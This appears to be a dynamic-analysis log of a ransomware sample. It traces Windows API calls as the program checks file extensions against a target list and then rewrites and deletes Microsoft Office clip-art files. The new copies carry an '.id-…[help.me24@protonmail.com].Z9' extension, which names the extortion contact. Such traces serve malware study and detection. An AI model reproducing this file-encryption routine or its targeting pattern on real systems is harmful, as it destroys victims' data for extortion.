	[0081.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString=".rar") returned 4
	[0081.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString=".bz2") returned 4
	[0081.835] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.835] lstrlenW (lpString=".7z") returned 3
	[0081.835] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.835] lstrlenW (lpString=".dbf") returned 4
	[0081.835] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.835] lstrlenW (lpString=".1cd") returned 4
	[0081.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.835] lstrlenW (lpString=".jpg") returned 4
	[0081.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.835] lstrlenW (lpString=".doc") returned 4
	[0081.835] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.835] lstrlenW (lpString=".docx") returned 5
	[0081.835] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.835] lstrlenW (lpString=".pdf") returned 4
	[0081.835] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString=".xls") returned 4
	[0081.835] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString=".xlsx") returned 5
	[0081.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.835] lstrlenW (lpString=".ppt") returned 4
	[0081.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.835] lstrlenW (lpString=".zip") returned 4
	[0081.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString=".rar") returned 4
	[0081.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.835] lstrlenW (lpString=".bz2") returned 4
	[0081.836] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.836] lstrlenW (lpString=".7z") returned 3
	[0081.836] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.836] lstrlenW (lpString=".dbf") returned 4
	[0081.836] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.836] lstrlenW (lpString=".1cd") returned 4
	[0081.836] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0081.836] lstrlenW (lpString=".jpg") returned 4
	[0081.836] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.836] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.836] lstrlenW (lpString="AG00170_.GIF") returned 12
	[0081.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.836] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9248) returned 1
	[0081.836] CloseHandle (hObject=0x384) returned 1
	[0081.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220
	[0081.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.837] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.837] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.837] GetLastError () returned 0x0
	[0081.837] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2420, lpOverlapped=0x0) returned 1
	[0081.839] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2430, lpOverlapped=0x0) returned 1
	[0081.840] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.840] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.840] SetEndOfFile (hFile=0x370) returned 1
	[0081.840] CloseHandle (hObject=0x370) returned 1
	[0081.841] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.841] SetEndOfFile (hFile=0x384) returned 1
	[0081.842] CloseHandle (hObject=0x384) returned 1
	[0081.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1
	[0081.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString=".doc") returned 4
	[0081.843] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.843] lstrlenW (lpString=".docx") returned 5
	[0081.843] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.843] lstrlenW (lpString=".pdf") returned 4
	[0081.843] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.843] lstrlenW (lpString=".xls") returned 4
	[0081.843] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.843] lstrlenW (lpString=".xlsx") returned 5
	[0081.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.843] lstrlenW (lpString=".ppt") returned 4
	[0081.843] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString=".zip") returned 4
	[0081.843] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.843] lstrlenW (lpString=".rar") returned 4
	[0081.843] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.843] lstrlenW (lpString=".bz2") returned 4
	[0081.843] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.843] lstrlenW (lpString=".7z") returned 3
	[0081.843] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString=".dbf") returned 4
	[0081.843] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString=".1cd") returned 4
	[0081.843] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString=".jpg") returned 4
	[0081.843] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.843] lstrlenW (lpString=".doc") returned 4
	[0081.843] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.844] lstrlenW (lpString=".docx") returned 5
	[0081.844] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.844] lstrlenW (lpString=".pdf") returned 4
	[0081.844] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.844] lstrlenW (lpString=".xls") returned 4
	[0081.844] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.844] lstrlenW (lpString=".xlsx") returned 5
	[0081.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.844] lstrlenW (lpString=".ppt") returned 4
	[0081.844] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.844] lstrlenW (lpString=".zip") returned 4
	[0081.844] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.844] lstrlenW (lpString=".rar") returned 4
	[0081.844] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.844] lstrlenW (lpString=".bz2") returned 4
	[0081.844] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.844] lstrlenW (lpString=".7z") returned 3
	[0081.844] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.844] lstrlenW (lpString=".dbf") returned 4
	[0081.844] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.844] lstrlenW (lpString=".1cd") returned 4
	[0081.844] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0081.844] lstrlenW (lpString=".jpg") returned 4
	[0081.844] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.844] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.844] lstrlenW (lpString="AG00171_.GIF") returned 12
	[0081.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.845] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5016) returned 1
	[0081.845] CloseHandle (hObject=0x384) returned 1
	[0081.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220
	[0081.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.845] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.845] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.845] GetLastError () returned 0x0
	[0081.846] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1398, lpOverlapped=0x0) returned 1
	[0081.847] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13a0, lpOverlapped=0x0) returned 1
	[0081.848] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.848] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.848] SetEndOfFile (hFile=0x370) returned 1
	[0081.848] CloseHandle (hObject=0x370) returned 1
	[0081.849] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.849] SetEndOfFile (hFile=0x384) returned 1
	[0081.850] CloseHandle (hObject=0x384) returned 1
	[0081.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1
	[0081.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.850] lstrlenW (lpString=".doc") returned 4
	[0081.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.851] lstrlenW (lpString=".docx") returned 5
	[0081.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.851] lstrlenW (lpString=".pdf") returned 4
	[0081.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.851] lstrlenW (lpString=".xls") returned 4
	[0081.851] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.851] lstrlenW (lpString=".xlsx") returned 5
	[0081.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.851] lstrlenW (lpString=".ppt") returned 4
	[0081.851] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.851] lstrlenW (lpString=".zip") returned 4
	[0081.851] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.851] lstrlenW (lpString=".rar") returned 4
	[0081.851] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.851] lstrlenW (lpString=".bz2") returned 4
	[0081.851] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.851] lstrlenW (lpString=".7z") returned 3
	[0081.851] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.851] lstrlenW (lpString=".dbf") returned 4
	[0081.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.851] lstrlenW (lpString=".1cd") returned 4
	[0081.851] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.851] lstrlenW (lpString=".jpg") returned 4
	[0081.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.851] lstrlenW (lpString=".doc") returned 4
	[0081.851] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.851] lstrlenW (lpString=".docx") returned 5
	[0081.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.851] lstrlenW (lpString=".pdf") returned 4
	[0081.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.852] lstrlenW (lpString=".xls") returned 4
	[0081.852] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.852] lstrlenW (lpString=".xlsx") returned 5
	[0081.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.852] lstrlenW (lpString=".ppt") returned 4
	[0081.852] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.852] lstrlenW (lpString=".zip") returned 4
	[0081.852] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.852] lstrlenW (lpString=".rar") returned 4
	[0081.852] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.852] lstrlenW (lpString=".bz2") returned 4
	[0081.852] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.852] lstrlenW (lpString=".7z") returned 3
	[0081.852] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.852] lstrlenW (lpString=".dbf") returned 4
	[0081.852] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.852] lstrlenW (lpString=".1cd") returned 4
	[0081.852] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0081.852] lstrlenW (lpString=".jpg") returned 4
	[0081.852] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.852] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.852] lstrlenW (lpString="AG00172_.GIF") returned 12
	[0081.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.853] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4390) returned 1
	[0081.853] CloseHandle (hObject=0x384) returned 1
	[0081.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220
	[0081.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.853] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.853] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.853] GetLastError () returned 0x0
	[0081.853] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1126, lpOverlapped=0x0) returned 1
	[0081.855] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0081.856] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.856] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.856] SetEndOfFile (hFile=0x370) returned 1
	[0081.856] CloseHandle (hObject=0x370) returned 1
	[0081.857] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.857] SetEndOfFile (hFile=0x384) returned 1
	[0081.858] CloseHandle (hObject=0x384) returned 1
	[0081.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1
	[0081.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString=".doc") returned 4
	[0081.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.859] lstrlenW (lpString=".docx") returned 5
	[0081.859] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.859] lstrlenW (lpString=".pdf") returned 4
	[0081.859] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.859] lstrlenW (lpString=".xls") returned 4
	[0081.859] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.859] lstrlenW (lpString=".xlsx") returned 5
	[0081.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.859] lstrlenW (lpString=".ppt") returned 4
	[0081.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
